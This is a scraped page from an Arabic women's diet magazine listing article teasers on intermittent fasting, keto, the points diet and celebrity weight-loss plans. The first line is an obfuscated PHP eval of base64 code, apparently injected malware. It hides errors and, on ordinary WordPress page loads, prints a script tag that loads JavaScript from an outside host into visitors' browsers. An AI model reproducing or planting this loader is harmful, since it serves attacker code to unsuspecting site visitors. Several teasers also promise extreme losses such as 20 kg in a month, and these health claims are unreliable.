eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | رجيم و حمية غذائية

مجلة نسائية عربية

رجيم الصيام المتقطع بالتفصيل.. جدول الوجبات || نصائح وتحذيرات || فوائد واضرار

رجيم الصيام المتقطع بالتفصيل.. جدول الوجبات || نصائح وتحذيرات || فوائد واضرار

الصيام المتقطع هو نظام غذائي تحدث الكثيرون عنه و عن فوائده على الصحة وانزال الوزن، لكن القليل فقط من تعلم ما هو بالضبط و كيف يمكن تطبيقه، وفي هذا التقرير سنشرح رجيم الصيام المتقطع بالتفصيل والتي يمكنك أن تبدأ في اتباعه علي النحو الصحيح، استنادا إلى نصائح الكوتش...
جدول وجبات بالصور.. رجيم اللقيمات بالتفصيل لخسارة 25 كيلو بدون حرمان أو جوع

جدول وجبات بالصور.. رجيم اللقيمات بالتفصيل لخسارة 25 كيلو بدون حرمان أو جوع

يرغب العديد من محبي اتباع الأنظمة الغذائية معرفة وجبات رجيم اللقيمات بالتفصيل او رجيم اللاحرمان كما يطلق عليه، هو ببساطه ان تأكل ما يحلو لك سواء اكل صحي او وجبات سريعة، حلو او حادق، تناول كل ما يحلو لك ومع ذلك تفقد وزن كبير، ولكن له شروطه مثله مثل اي برنامج غذائي آخر...
رجيم بديل عملية نحت الجسم بدور البراهيم يخسس 20 كيلو بفورمة كيرفي

رجيم بديل عملية نحت الجسم بدور البراهيم يخسس 20 كيلو بفورمة كيرفي

رجيم بديل عملية نحت الجسم بدور البراهيم.. قامت الفاشينيستا المشهورة السعودية بدور البراهيم، بنشر مقطع لها على منصة سناب شات مع طبيب التجميل الخاص بها، تكشف فيه تفاصيل رجيم عملية نحت الجسم لبدور البراهيم، وأبرز التفاصيل التي تتعلق بهذا الرجيم والروتين التي أعلنت عنه،...
تجربتي مع وجبات دايت كير وخسارة 18 كيلو في شهرين Diet Care

تجربتي مع وجبات دايت كير وخسارة 18 كيلو في شهرين Diet Care

بناء علي رغبة زوار مجلة جوزال النسائية أشارك معكم تجربتي مع وجبات دايت كير ليستفيد منها الجميع، تأسست “دايت كير” في عام 2005 ، وهي من أوائل الشركات في الكويت التي تلتزم بمساعدة الناس على إدارة وزنهم وصحتهم العامة ورفاهيتهم، و بفضل فريقها المتميز من الخبراء...
رجيم هنادي مهنا القاسي في 4 شهور لحرق دهون 30 كيلو بدون حرمان

رجيم هنادي مهنا القاسي في 4 شهور لحرق دهون 30 كيلو بدون حرمان

رجيم هنادي مهنا.. لفتت الفنانة الشابة هنادي مهنا انظار متابعيها ومحبيها عبر منصات التواصل الإجتماعي، بعد نشرها عدة صور توضح فقدانها الوزن بشكل ملحوظ، وبدأ رواد السوشيال في طرح علامات الإستفهام حول النظام الغذائي الذي اتبعته هنادي، وماهي النصائح والخطوات التي أدت الي...
جدول وجبات كيتو دايت في اسبوع | قائمة المسموحات والممنوعات

جدول وجبات كيتو دايت في اسبوع | قائمة المسموحات والممنوعات

جدول وجبات كيتو دايت … يعد النظام الغذائي الكيتوني من اكثر الأنظمة العالمية شهرة واتباعاً لدي ملايين الأشخاص، حيث أصبح النظام الغذائي الكيتوني أو كيتو دايت شائعاً في الكثير من المجتمعات العربية، وقد أثبت أن هذا النظام الغذائي منخفض الكربوهيدرات وعالي الدهون فعال...
رجيم النقاط الفرنسي بالتفصيل | جدول الوجبات | طريقة حساب النقاط

رجيم النقاط الفرنسي بالتفصيل | جدول الوجبات | طريقة حساب النقاط

رجيم النقاط الفرنسي بالتفصيل.. يعد رجيم النقاط نظام لمراقبة الوزن، وهو عبارة عن نظام غذائي فرنسي الأصل يعتمد علي المواد الغذائية الغنية بالألياف والقليلة في احتوائها علي سعرات حرارية، وذلك لما للألياف من قدرة علي المساعدة علي محاربة الإمساك وتحسين عملية الهضم فضلا عن...
نظام الكيتو دايت لمدة 7 ايام شامل جدول الوجبات والأطعمة المسموحة والممنوعات

نظام الكيتو دايت لمدة 7 ايام شامل جدول الوجبات والأطعمة المسموحة والممنوعات

نظام الكيتو دايت هو نوع نظام غذائي هدفة خساره الوزن و حرق الدهون، ويتم استخدامه بكثرة من لاعبي كمال الأجسام حيث يستعملون هذا النظام اثناء الاعداد لبطولة حتى ينشفون الشحوم حول العضلات، ويعتمد رجيم الكيتو دايت على تناول وجبات غنية بالدهون، متوسطه البروتين وقليلة...
رجيم بديل التكميم بدون عملية لفقدان 20 كيلو في شهر واحد هنادي البدر

رجيم بديل التكميم بدون عملية لفقدان 20 كيلو في شهر واحد هنادي البدر

رجيم بديل التكميم هنادي البدر … عمليات تكميم المعدة أصبحت هي الحل الأسرع والأسهل للعديد من مرضى السمنة، لكن للأسف بعد عام واحد أو أكثر قد يعودون مرة أخرى للأوزان الزائدة، فضلاً عن الكثير من أعراضها الجانبية اتي قد تصيبهم على المدى البعيد. لذللك وفي هذا الصدد،...
نظام نيومي بديل التكميم اقوي واسرع رجيم لخسارة 30 كيلو هنادي البدر

نظام نيومي بديل التكميم اقوي واسرع رجيم لخسارة 30 كيلو هنادي البدر

ارتفعت عمليات البحث في وطننا العربي عن نظام نيومي بديل التكميم والذي اعدته الدكتورة هنادي البدر ، حيث يعد رجيم صحي متكامل للإستغناء عن عمليات تكميم المعدة التي تتسم بالخطورة نوعا ما، ونذكر لكم عبر مجلتنا “جوزال”، نظام نيومي بالتفصيل مع رجيم لمدة خمس...